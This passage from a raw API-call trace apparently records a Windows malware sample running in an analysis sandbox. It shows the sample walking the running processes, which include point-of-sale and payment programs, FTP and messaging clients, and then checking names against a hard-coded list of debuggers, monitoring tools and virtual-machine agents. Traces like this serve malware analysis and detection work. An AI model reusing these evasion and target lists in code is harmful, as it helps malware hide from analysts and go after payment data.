| out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0247.417] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0247.418] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0247.419] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0247.420] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0247.421] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0247.422] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0247.424] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0247.425] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0247.426] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0247.427] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0247.428] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0247.429] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0247.431] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0247.432] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0247.433] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0247.434] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0247.435] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0247.436] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0247.437] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0247.438] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0247.439] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0247.440] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0247.441] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0247.442] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0247.443] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0247.444] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0247.445] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0247.447] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0247.448] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.451] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.452] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0247.453] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.454] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0247.455] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0247.456] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0247.457] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.458] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0247.459] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1328, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 1 [0247.459] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 1 [0247.460] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0247.461] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0247.463] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.464] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0247.465] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19fcac, th32DefaultHeapID=0x54, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 0 [0247.465] CloseHandle (hObject=0x290) returned 1 [0247.466] lstrlenA (lpString="Fiddler.exe") returned 11 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="samp1e.exe") returned 10 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="sample.exe") returned 10 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="runsample.exe") returned 13 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="lordpe.exe") returned 10 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="regshot.exe") returned 11 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="Autoruns.exe") returned 12 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="dsniff.exe") returned 10 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="VBoxTray.exe") returned 12 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0247.466] lstrlenA (lpString="HashMyFiles.exe") returned 15 [0247.466] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9a8 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="Procmon.exe") returned 11 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="Procmon64.exe") returned 13 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="netmon.exe") returned 10 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="vmtoolsd.exe") returned 12 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="vm3dservice.exe") returned 15 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="VGAuthService.exe") returned 17 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6f68 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="pr0c3xp.exe") returned 11 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0247.467] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0247.467] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6f88 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="CFF Explorer.exe") returned 16 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6fa8 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="dumpcap.exe") returned 11 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="Wireshark.exe") returned 13 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="idaq.exe") returned 8 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="idaq64.exe") returned 10 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="TPAutoConnect.exe") returned 17 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6fc8 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="ResourceHacker.exe") returned 18 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6fe8 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="vmacthlp.exe") returned 12 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7350 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="OLLYDBG.EXE") returned 11 [0247.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7368 | out: hHeap=0x25a0000) returned 1 [0247.468] lstrlenA (lpString="windbg.exe") returned 10 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7398 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="bds-vision-agent-nai.exe") returned 24 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7410 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="bds-vision-apis.exe") returned 19 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7438 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="bds-vision-agent-app.exe") returned 24 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7458 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="MultiAnalysis_v1.0.294.exe") returned 26 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7480 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="x32dbg.exe") returned 10 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7380 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="VBoxTray.exe") returned 12 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a73b0 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="VBoxService.exe") returned 15 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7338 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="Tcpview.exe") returned 11 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a73c8 | out: hHeap=0x25a0000) returned 1 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="Fiddler.exe") returned 11 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a73e0 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="samp1e.exe") returned 10 [0247.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a73f8 | out: hHeap=0x25a0000) returned 1 [0247.469] lstrlenA (lpString="sample.exe") returned 10 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7218 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="runsample.exe") returned 13 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7320 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="lordpe.exe") returned 10 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7050 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="regshot.exe") returned 11 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7230 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="Autoruns.exe") returned 12 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7200 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="dsniff.exe") returned 10 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7248 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="VBoxTray.exe") returned 12 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71e8 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="HashMyFiles.exe") returned 15 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7080 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7548 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="Procmon.exe") returned 11 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7290 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="Procmon64.exe") returned 13 [0247.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7140 | out: hHeap=0x25a0000) returned 1 [0247.470] lstrlenA (lpString="netmon.exe") returned 10 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72f0 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="vmtoolsd.exe") returned 12 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="vm3dservice.exe") returned 15 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7260 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="VGAuthService.exe") returned 17 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7568 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="pr0c3xp.exe") returned 11 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70e0 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="ProcessHacker.exe") returned 17 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7588 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="CFF Explorer.exe") returned 16 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a75a8 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="dumpcap.exe") returned 11 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70b0 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="Wireshark.exe") returned 13 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7278 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="idaq.exe") returned 8 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71b8 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="idaq64.exe") returned 10 [0247.471] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7308 | out: hHeap=0x25a0000) returned 1 [0247.471] lstrlenA (lpString="TPAutoConnect.exe") returned 17 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a75c8 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="ResourceHacker.exe") returned 18 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a75e8 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="vmacthlp.exe") returned 12 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72a8 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="OLLYDBG.EXE") returned 11 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72c0 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="windbg.exe") returned 10 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7158 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="bds-vision-agent-nai.exe") returned 24 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7608 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="bds-vision-apis.exe") returned 19 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7630 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="bds-vision-agent-app.exe") returned 24 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7650 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA 